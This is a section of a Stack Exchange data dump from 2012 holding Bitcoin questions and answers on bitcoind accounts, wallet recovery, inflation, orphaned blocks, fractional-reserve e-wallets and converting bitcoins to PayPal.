  <row Id="4155" PostTypeId="2" ParentId="4153" CreationDate="2012-07-11T04:18:46.823" Score="4" Body="&lt;p&gt;You need to set up bitcoind and look into &lt;a href=&quot;https://en.bitcoin.it/wiki/Accounts_explained&quot; rel=&quot;nofollow&quot;&gt;accounts&lt;/a&gt;. If you want users to be able to pay each other in the system for anything, it is quite easy to move Bitcoins around without creating transactions simply by calling the &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;move&lt;/code&gt; API&lt;/a&gt;. After that you just need to add the options for users to put money into their accounts and withdraw them, and you are set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can't really help you with Ruby-specific things though, as I don't know the language.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-07-11T04:18:46.823" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4156" PostTypeId="2" ParentId="4152" CreationDate="2012-07-11T04:59:29.487" Score="4" Body="&lt;p&gt;I believe your options are to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Upgrade to Bitcoin-Qt/bitcoind v0.9 or greater, which takes care of this situation.&lt;/li&gt;&#xA;&lt;li&gt;Live with it as-is (showing an 0/unconfirmed that will never confirm)&lt;/li&gt;&#xA;&lt;li&gt;Transfer funds elsewhere and abandon your wallet&lt;/li&gt;&#xA;&lt;li&gt;Export your keys and import them into another wallet, perhaps a new one&lt;/li&gt;&#xA;&lt;li&gt;Perform wallet surgery (pywallet to remove the private key used in the double spend, rescan, then import it back in.  &lt;a href=&quot;https://bitcoin.stackexchange.com/a/3657/153&quot;&gt;Instructions&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2014-04-21T23:16:03.253" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4157" PostTypeId="2" ParentId="4153" CreationDate="2012-07-11T05:24:40.530" Score="1" Body="&lt;p&gt;The satoshi bitcoin client doesn't currently support multiple wallets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way that website backends typically interact with bitcoin is through the bitcoind daemon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a brief overview of how you can handle the interaction:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a customer wants to deposit bitcoins with you, run &lt;code&gt;bitcoind getaccountaddress &amp;lt;userid&amp;gt;&lt;/code&gt; to get a deposit address and associate it with their userid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To see which users have sufficiently confirmed deposits, run &lt;code&gt;bitcoind listaccounts &amp;lt;conf&amp;gt;&lt;/code&gt; where &lt;code&gt;conf&lt;/code&gt; is the number of confirmations you require.  That will give you the balance of each user's account only considering deposits with enough confirmations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For each deposit once it's confirmed enough, use &lt;code&gt;bitcoind move &amp;lt;userid&amp;gt; admin &amp;lt;amount&amp;gt;&lt;/code&gt; to move the deposit from the user's bitcoin account to an account called &lt;code&gt;admin&lt;/code&gt; and process the deposit (the same as you do once a credit card payment is received - send them the goods, or whatever).  The &lt;code&gt;move&lt;/code&gt; will stop the deposit showing up again next time you run &lt;code&gt;listaccounts&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-07-11T05:24:40.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4159" PostTypeId="1" CreationDate="2012-07-11T19:07:57.167" Score="2" ViewCount="321" Body="&lt;p&gt;Question pretty much says my dilemma. Wallet won't load due to a &quot;duplicate transaction&quot; which I thought could not happen. I use multibit btw, if that helps. Please tell me I can load my wallet somehow.&lt;/p&gt;&#xA;" OwnerUserId="1572" LastEditorUserId="516" LastEditDate="2012-07-11T20:43:03.997" LastActivityDate="2012-07-12T04:49:44.413" Title="My wallet won't load because it says it contained a duplicate transaction. Are my coins lost forever or can i load it some other way?" Tags="|wallet|doublespend|multibit|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4160" PostTypeId="2" ParentId="4159" CreationDate="2012-07-11T21:18:17.943" Score="1" Body="&lt;p&gt;This was a bug that was fixed in v0.4.1 (26 June 2012) so I presume you are running an earlier version. If you download the latest version from multibit.org your wallet should load ok. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for the inconvenience.&lt;/p&gt;&#xA;" OwnerUserId="888" LastEditorUserId="888" LastEditDate="2012-07-12T04:49:44.413" LastActivityDate="2012-07-12T04:49:44.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4161" PostTypeId="1" AcceptedAnswerId="4166" CreationDate="2012-07-12T00:13:43.287" Score="4" ViewCount="632" Body="&lt;p&gt;Question is in the title. Anyone who's toyed sufficiently long enough on the foreign exchange understands that currencies are largely driven by sentiment or manipulated on the odd occasion. Plus, there's the fact that money has no intrinsic value. Has bitcoin overcome any shortfalls and risks of conventional currencies ?&lt;/p&gt;&#xA;" OwnerUserId="1573" LastEditorUserId="5406" LastEditDate="2014-10-03T11:32:53.687" LastActivityDate="2014-10-03T11:32:53.687" Title="Does bitcoin improve on &quot;hard&quot; currencies in any way?" Tags="|currencies|economic-theory|key-selling-points|" AnswerCount="5" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4162" PostTypeId="2" ParentId="4161" CreationDate="2012-07-12T00:33:03.517" Score="5" Body="&lt;p&gt;There are some important shortfalls of traditional currency that Bitcoin addresses:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;There can &lt;a href=&quot;https://bitcoin.stackexchange.com/q/161/516&quot;&gt;never be more than 21m&lt;/a&gt; bitcoins in existence. Bitcoin will never be vulnerable to the quantitative easing or printing of additional currency which devalues the existing funds of holders of traditional currency.&lt;/li&gt;&#xA;&lt;li&gt;There is no central authority. A collapse of any particular corporation or govt will not cause Bitcoin to fail. There's no need to participate in a run on a bank.&lt;/li&gt;&#xA;&lt;li&gt;Bitcoins are very difficult to steal without coercion when protected in the right way. Security features for Bitcoin are still maturing, but it is possible to &lt;a href=&quot;http://bitcoinarmory.com/index.php/using-offline-wallets-in-armory&quot; rel=&quot;nofollow noreferrer&quot;&gt;encrypt a Bitcoin wallet&lt;/a&gt; on an offline computer and do transactions from there. This heavily reduces the change of bitcoins being stolen through malware or physical theft of hardware.&lt;/li&gt;&#xA;&lt;li&gt;Bitcoins can be spent over the internet with very low transaction fees (a fraction of a percent compared with 3-4% with a credit card). When you know an internet retailer is trustworthy, Bitcoin is a great way to make payment.&lt;/li&gt;&#xA;&lt;li&gt;Transactions are &lt;a href=&quot;https://bitcoin.stackexchange.com/q/197/516&quot;&gt;essentially irreversible&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Bitcoins cannot be counterfeited.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Though Bitcoin is obviously subject to manipulation through trading on exchanges, this has little effect on its usefulness as an online payment method as they can readily be converted to another currency before fluctuations have much effect.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2012-07-12T19:36:27.067" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4163" PostTypeId="2" ParentId="4161" CreationDate="2012-07-12T05:11:07.483" Score="2" Body="&lt;p&gt;Bitcoin as a currency is being inflated, currently, at a rate of 28% per year.  That alone would disqualify it as being one of the &quot;hard&quot; currencies (i.e., United States dollar, Euro, Swiss franc, British pound sterling, Japanese yen) for a long time to come.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin most definitely is driven by sentiment and with the aggregate of all order books being slim, it can likely be manipulated up or down with simply a six figure budget. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where bitcoin's primary advantage comes into play is that the currency inflation rate a year out, two years out and ten years out is already known, today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, when trading currency there is no T+2 settlement.  Most Bitcoin exchanges settle trades instantly, and deliver bitcoin withdrawals in seconds.  Thus the funds can then be used for spending or further transfer just minutes after the trade executes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, the bitcoin exchanges are not as great with the flow of fiat used for trading.  Arbitrage would keep the exchange rates about even (less trading costs) however because fiat funds don't flow cheaply or quickly in and out of the Bitcoin exchanges, exchange rates between exchanges will not be consistent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This presents an opportunity to some, but serves as a hurdle to others. Because bitcoins are not traded yet alongside other currencies for forex or are yet considered by established financial trading firms, there are first-mover advantages being enjoyed by entrepreneurial endeavors writing custom trading bots.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One other benefit is that Bitcoin is just a protocol and data, which means it is universal.  Central banks don't need foreign exchange reserves with bitcoin nor swap agreements to trade against bitcoin.  There is simply self-interested individuals and companies doing the buying and selling (for both commerce and speculation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some other benefits:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoinmedia.com/bulleted-advantages&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinmedia.com/bulleted-advantages&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-07-12T05:17:18.490" LastActivityDate="2012-07-12T05:17:18.490" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4164" PostTypeId="2" ParentId="2883" CreationDate="2012-07-12T08:31:18.167" Score="1" Body="&lt;p&gt;Scalability is something that will have to be considered, but it's not going to be a critical issue, for several reasons.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Not everyone will need a full node. Lightweight clients offer almost as much security with very modest hardware requirements.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Not all transactions will appear on the blockchain. There are ways to make secure, instant, off-the-chain transactions requiring minimal trust.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-07-12T08:31:18.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4165" PostTypeId="2" ParentId="4161" CreationDate="2012-07-12T09:00:38.080" Score="2" Body="&lt;p&gt;The value of money is that it makes exchanging and storing value more efficient. Your assumption that it should somehow have other value besides that is wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin improves over traditional currencies in several ways, for example:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Easy to send payments internationally without fees.&lt;/li&gt;&#xA;&lt;li&gt;No chargebacks.&lt;/li&gt;&#xA;&lt;li&gt;International, no need to make currency conversion.&lt;/li&gt;&#xA;&lt;li&gt;Easy to get started with receiving bitcoins.&lt;/li&gt;&#xA;&lt;li&gt;Possibility of microtransactions.&lt;/li&gt;&#xA;&lt;li&gt;No inflation.&lt;/li&gt;&#xA;&lt;li&gt;No single point of failure.&lt;/li&gt;&#xA;&lt;li&gt;Payment is done via digital signatures rather than giving away your password.&lt;/li&gt;&#xA;&lt;li&gt;Objective public record of payments made in case of disputes.&lt;/li&gt;&#xA;&lt;li&gt;An option for small countries without a viable currency of their own.&lt;/li&gt;&#xA;&lt;li&gt;No need to rely on financial institutes with poor service.&lt;/li&gt;&#xA;&lt;li&gt;A powerful scripting language that allows more advanced transactions than &quot;A is paying X to B&quot;, and derivatives of the technology such as Namecoin.&lt;/li&gt;&#xA;&lt;li&gt;Privacy.&lt;/li&gt;&#xA;&lt;li&gt;No restrictions on whom you can pay.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2012-07-12T11:07:35.227" LastActivityDate="2012-07-12T11:07:35.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4166" PostTypeId="2" ParentId="4161" CreationDate="2012-07-12T15:14:45.683" Score="6" Body="&lt;p&gt;There are huge differences between FIAT and Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fiat is created out of thin air &quot;with fractional reserve banking&quot; and other mechanisms, there is no stop on how many will be created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another problem is that every country is FORCED to create more of it.&#xA;Since otherwise the value of their money would increase to much, ending all export industry and tourism in that country. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when the US prints an extreme amounts of FIAT they know that China must follow, which means that Japan must follow and the US must print more, and so it goes on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin can not be created out of thin air, and it takes an ever increasing energy cost to create one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And since no country base their economy on it, its free from having to be endlessly printed. (It can´t even if it would be.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another very important difference is that Bitcoin is the only digital money you can own yourself with no one else having any access, and thus keep on your own computer or in your own cellphone or store on a USB the key to your money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All other digital money, is money that is stuck in a bank and thus they might play around with it and go bankrupt. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But a Bitcoin is a Bitcoin and not simply a promise in their system.&#xA;This also means that you can send them any time of the day instantly to anyone you like now even on Facebook or in emails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The limited amount also gives it a longterm backing in that if it picks up in any market, it cant stay this low and will have to go much much higher, a value of something like $50-$5000 would not be strange in 10-20 years IMO.&lt;/p&gt;&#xA;" OwnerUserId="1574" LastActivityDate="2012-07-12T15:14:45.683" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4167" PostTypeId="2" ParentId="4135" CreationDate="2012-07-12T18:31:30.403" Score="1" Body="&lt;p&gt;From what I can see, ABE works pretty much like the BlockExplorer in regards to orphaned blocks, which is to say it forgets them. It appears that only Blockchain.info actively stores orphaned blocks, and even &lt;a href=&quot;http://blockchain.info/orphaned-blocks&quot; rel=&quot;nofollow noreferrer&quot;&gt;displays them in a neat list&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only other way to analyse orphaned blocks is to keep a history of the last couple blocks and constantly keep checking whether they changed. This is the approach I used for testing a simulated 51% attack on the TestNet in my &lt;a href=&quot;https://bitcointalk.org/index.php?topic=88149.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;master thesis&lt;/a&gt;. However, orphaned blocks don't occur all that often. You can look into a &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2170/how-often-forks-occur&quot;&gt;question on that&lt;/a&gt;, or go directly &lt;a href=&quot;http://blockexplorer.com/q/reorglog&quot; rel=&quot;nofollow noreferrer&quot;&gt;to the stats&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2012-07-12T18:31:30.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4168" PostTypeId="2" ParentId="4135" CreationDate="2012-07-12T19:22:48.263" Score="4" Body="&lt;p&gt;Orphaned blocks are stored in blkxxxx.dat files forever, though each node will know about different orphaned blocks. Bitcoin will print a list of all known blocks, including orphans, to debug.log if you pass it -printblocktree.&lt;/p&gt;&#xA;" OwnerUserId="403" LastEditorUserId="403" LastEditDate="2012-07-13T00:27:02.393" LastActivityDate="2012-07-13T00:27:02.393" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4169" PostTypeId="1" AcceptedAnswerId="4170" CreationDate="2012-07-12T20:15:01.667" Score="9" ViewCount="807" Body="&lt;p&gt;A comment on &lt;a href=&quot;https://bitcoin.stackexchange.com/a/4163/516&quot;&gt;this answer&lt;/a&gt; pointed out that the total amount of bitcoins in circulation could appear to go above the limit of 21m if wallet services use a fractional reserve system. However, in that scenario you actually no longer have bitcoins - instead, you have some kind of bitcoin-credits that rely on a specific 3rd party to be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If my understanding is correct, it should be possible to determine through the blockchain whether a given e-wallet service:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Definitely isn't using fractional reserves for a given account, or&lt;/li&gt;&#xA;&lt;li&gt;Might be using fractional reserves&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;How would this be done? Has anyone summarised this information for a selection of e-wallet services?&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2012-07-18T06:40:48.593" Title="How can I find out if an e-wallet service uses a fractional reserve system?" Tags="|e-wallet|fractional-reserve|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4170" PostTypeId="2" ParentId="4169" CreationDate="2012-07-12T21:03:04.393" Score="7" Body="&lt;p&gt;There are two types of EWallets, hosted (shared) EWallets and hybrid EWallets.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With hosted EWallets, all the coins are shared (all customers funds are combined) in the host's EWallet.  Examples of this are &lt;a href=&quot;http://Paytunia.com&quot;&gt;Paytunia.com&lt;/a&gt;, &lt;a href=&quot;http://Instawallet.org&quot;&gt;Instawallet.org&lt;/a&gt;, &lt;a href=&quot;http://EasyWallet.org&quot;&gt;EasyWallet.org&lt;/a&gt;, &lt;a href=&quot;http://WalletBit.com&quot;&gt;WalletBit.com&lt;/a&gt;,  as well as the online wallets with the exchanges, such as &lt;a href=&quot;http://MtGox.com&quot;&gt;MtGox.com&lt;/a&gt;, &lt;a href=&quot;http://BitFloor.com&quot;&gt;Bitfloor&lt;/a&gt;, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hybrid EWallets are those that operate locally either from the browser (using Javascript) such as how &lt;a href=&quot;http://Blockchain.info/wallet&quot;&gt;Blockchain.info/wallet&lt;/a&gt; and &lt;a href=&quot;http://StrongCoin.com&quot;&gt;StrongCoin.com&lt;/a&gt; operate or from a client like how &lt;a href=&quot;http://ecdsa.org/electrum&quot;&gt;Electrum&lt;/a&gt; (Windows, Mac, Linux, Android) or &lt;a href=&quot;http://market.android.com/details?id=com.miracleas.bitcoin_spinner&quot;&gt;BitcoinSpinner&lt;/a&gt; (Android) operate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a hybrid EWallet, the private keys are kept locally but transactions route through the EWallet provider.  To protect from loss, the browser-based hybrid wallets store an encrypted copy of the data from the wallet online with the EWallet provider.  The provider doesn't have the password to decrypt the wallet stored with them and thus has no potential to spend your coins stored with them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your risk of fractional reserve exists only with the hosted EWallet providers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One method these providers could prove they are not a fractional reserve would be to submit to sporadic financial audits.  None do this today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option would be for the EWallet provider to treat each account as if it were a standalone wallet.  That way the blockchain would verify that the coins received have not been spent.  No EWallets operate this way either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When multisignature becomes functional, this will likely be a security feature available from one or more EWallet providers.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-07-12T21:29:33.020" LastActivityDate="2012-07-12T21:29:33.020" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="4172" PostTypeId="1" CreationDate="2012-07-12T21:30:27.547" Score="25" ViewCount="32325" Body="&lt;p&gt;I see people everywhere saying that bitcoins are immune to inflation but nobody has explained it adequately to me. I understand why bitcoins would be more or less immune to inflation cause in increased money supply - because there's a fixed money supply forever. But what about hyper-inflation caused by confidence crisis?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any currency have worth if people are willing to accept it. And how much would a bitcoin be worth is exactly how much goods would people accept to trade for one unit of bitcoin. If for any reason people start to think that bitcoins are worthless, its buying power will diminish and you will have inflation! I don't see how this can be avoided.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something I'm not seeing? Where's the catch? Why are bitcoins  immune to inflation?&lt;/p&gt;&#xA;" OwnerDisplayName="user1578" LastEditorUserId="3080" LastEditDate="2013-02-27T05:29:36.490" LastActivityDate="2018-02-13T22:49:56.197" Title="Are bitcoins really immune to inflation?" Tags="|inflation|" AnswerCount="7" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4173" PostTypeId="2" ParentId="4172" CreationDate="2012-07-12T21:59:36.547" Score="19" Body="&lt;p&gt;Specifically, bitcoins are immune to M0/MB inflation, meaning that the money supply itself does not inflate, except at the very beginning (which we're still in) while the original 21 million BTC get distributed via the mining process. Once 21 million coins exist, they become deflationary since no new coins are issued and, as naturally occurs, money falls out of circulation as wallets are lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin could still suffer the kinds of inflation most currencies see in M1/M2/M3/MZM such as fractional-reserve banking, but the idea of a publicly published block chain is that at any moment it should be trivial to audit a bank and ensure their deposits are correctly recorded. Essentially, any institution practicing fractional reserve banking should be much easier to spot and those who dislike such practices can more easily walk away from them. There are complications to this model, but that's the ideal anyway.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2012-07-12T21:59:36.547" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4174" PostTypeId="2" ParentId="4169" CreationDate="2012-07-13T02:38:29.437" Score="2" Body="&lt;p&gt;Verifying that an eWallet doesn't do fractional reserve requires collaboration on its part (and its users), and I hope in the future most will collaborate this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every user will choose a unique identifier (which can be unrelated to any other identifying detail if they wish, or not if they want their ownership to be known publicly), and the eWallet will have a public list of the balance of each identifier, rounded to improve anonymity. From this the total amount deposited can be calculated, and each user can verify that his own record is on the list to make sure he's not underreporting. Once in a while the eWallet will move all coins in a single transaction to address(es) provably his own, this way he can show he has all deposited coins under his control.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-07-13T02:38:29.437" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4176" PostTypeId="2" ParentId="3968" CreationDate="2012-07-13T09:20:45.080" Score="1" Body="&lt;p&gt;Namecoin is more or less what you're asking for.&lt;/p&gt;&#xA;" OwnerUserId="1579" LastActivityDate="2012-07-13T09:20:45.080" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4177" PostTypeId="2" ParentId="4172" CreationDate="2012-07-14T00:15:27.147" Score="8" Body="&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Inflation#Related_definitions&quot; rel=&quot;nofollow noreferrer&quot;&gt;This paragraph from Wikipedia&lt;/a&gt; explains the confusion:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The term &quot;inflation&quot; originally referred to increases in the amount of&#xA;  money in circulation, and some economists still use the word in this&#xA;  way. However, most economists today use the term &quot;inflation&quot; to refer&#xA;  to a rise in the price level. An increase in the money supply may be&#xA;  called monetary inflation, to distinguish it from rising prices, which&#xA;  may also for clarity be called 'price inflation'. Economists&#xA;  generally agree that in the long run, inflation is caused by increases&#xA;  in the money supply.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When people say that Bitcoin is immune to inflation, they are referring to monetary inflation since &lt;a href=&quot;https://bitcoin.stackexchange.com/q/104&quot;&gt;there will never be more than 21 million bitcoins&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2012-07-14T00:15:27.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4178" PostTypeId="1" AcceptedAnswerId="4184" CreationDate="2012-07-14T04:57:19.663" Score="20" ViewCount="4198" Body="&lt;p&gt;While editing the &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin_Newbie_Guide&quot;&gt;Bitcoin Newb Guide&lt;/a&gt;, I realized I can't find a single page that covers all major clients in a Newb-friendly manner.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoin.org/clients.html&quot;&gt;bitcoin.org&lt;/a&gt; doesn't seem to mention web wallets such as &lt;a href=&quot;https://blockchain.info/wallet/&quot;&gt;My Wallet&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Clients&quot;&gt;The wiki page&lt;/a&gt; is not IMO newb-friendly ... one big table, no clear way for a newb to decide which wallets he should try out. Yes, the features are listed in the table, but a newb won't understand them.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What is the best objective resource to help newbs choose their first wallet/s? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Requirements&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Objective source (as much as possible)&lt;/li&gt;&#xA;&lt;li&gt;Updated Frequently, preferably user editable / reflects user votes&lt;/li&gt;&#xA;&lt;li&gt;Includes major desktop clients&lt;/li&gt;&#xA;&lt;li&gt;Includes major web wallets / mobile wallets&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Noob Friendly&lt;/strong&gt; - just dumping all clients in a big table will scare off noobs. I want a page that, while giving out sufficient information, is well structured and will not scare noobs. &lt;a href=&quot;https://en.bitcoin.it/wiki/Clients&quot;&gt;The Wiki Page&lt;/a&gt; is a good counter example.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="78" LastEditorUserId="516" LastEditDate="2012-10-01T20:48:58.997" LastActivityDate="2016-08-29T14:17:15.713" Title="What is a good resource to help newbies choose their first wallet/s?" Tags="|client|e-wallet|" AnswerCount="9" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4179" PostTypeId="2" ParentId="4178" CreationDate="2012-07-14T07:33:07.247" Score="4" Body="&lt;p&gt;This chart comparing all major desktop clients is pretty good, &#xA;and is well maintained by a bitcointalk regular: &#xA; &lt;a href=&quot;http://dre.natverk.org/compare.htm&quot; rel=&quot;nofollow&quot;&gt;http://dre.natverk.org/compare.htm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Discussion about it here:&#xA; &lt;a href=&quot;https://bitcointalk.org/index.php?topic=83768.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=83768.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nothing about e-wallets, though.&lt;/p&gt;&#xA;" OwnerUserId="1369" LastEditorUserId="5406" LastEditDate="2014-03-08T21:11:19.250" LastActivityDate="2014-03-08T21:11:19.250" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4180" PostTypeId="1" CreationDate="2012-07-14T10:13:03.573" Score="12" ViewCount="66377" Body="&lt;p&gt;I have, recently, started earning some Bitcoins from &lt;a href=&quot;http://coinurl.com/&quot; rel=&quot;noreferrer&quot;&gt;CoinURL.com&lt;/a&gt;. I want to know all the options available for converting these earned Bitcoins to Paypal USD.&lt;/p&gt;&#xA;" OwnerUserId="1584" LastEditorUserId="5406" LastEditDate="2017-12-24T04:49:59.513" LastActivityDate="2017-12-24T04:49:59.513" Title="What are the options available to convert Bitcoin to Paypal USD?" Tags="|exchanges|sell-bitcoins|paypal|" AnswerCount="8" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4181" PostTypeId="2" ParentId="4180" CreationDate="2012-07-14T12:09:06.500" Score="3" Body="&lt;p&gt;bitinstant now does btc-&gt; paypal. &#xA;also you could try selling coins for paypal to individuals on bitcoin-otc (though you have to watch out for chargebacks).&lt;/p&gt;&#xA;" OwnerUserId="441" LastActivityDate="2012-07-14T12:09:06.500" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4182" PostTypeId="2" ParentId="4180" CreationDate="2012-07-14T18:08:02.357" Score="1" Body="&lt;p&gt;You have for example &lt;a href=&quot;https://www.spendbitcoins.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.spendbitcoins.com/&lt;/a&gt;, &lt;a href=&quot;http://www.fastcash4bitcoins.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.fastcash4bitcoins.com/&lt;/a&gt; and &lt;a href=&quot;https://www.bitinstant.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.bitinstant.com/&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PayPal is notorious for freezing accounts of people who use it for Bitcoin conversions, so it is not clear how sustainable these services are.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-07-14T18:08:02.357" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
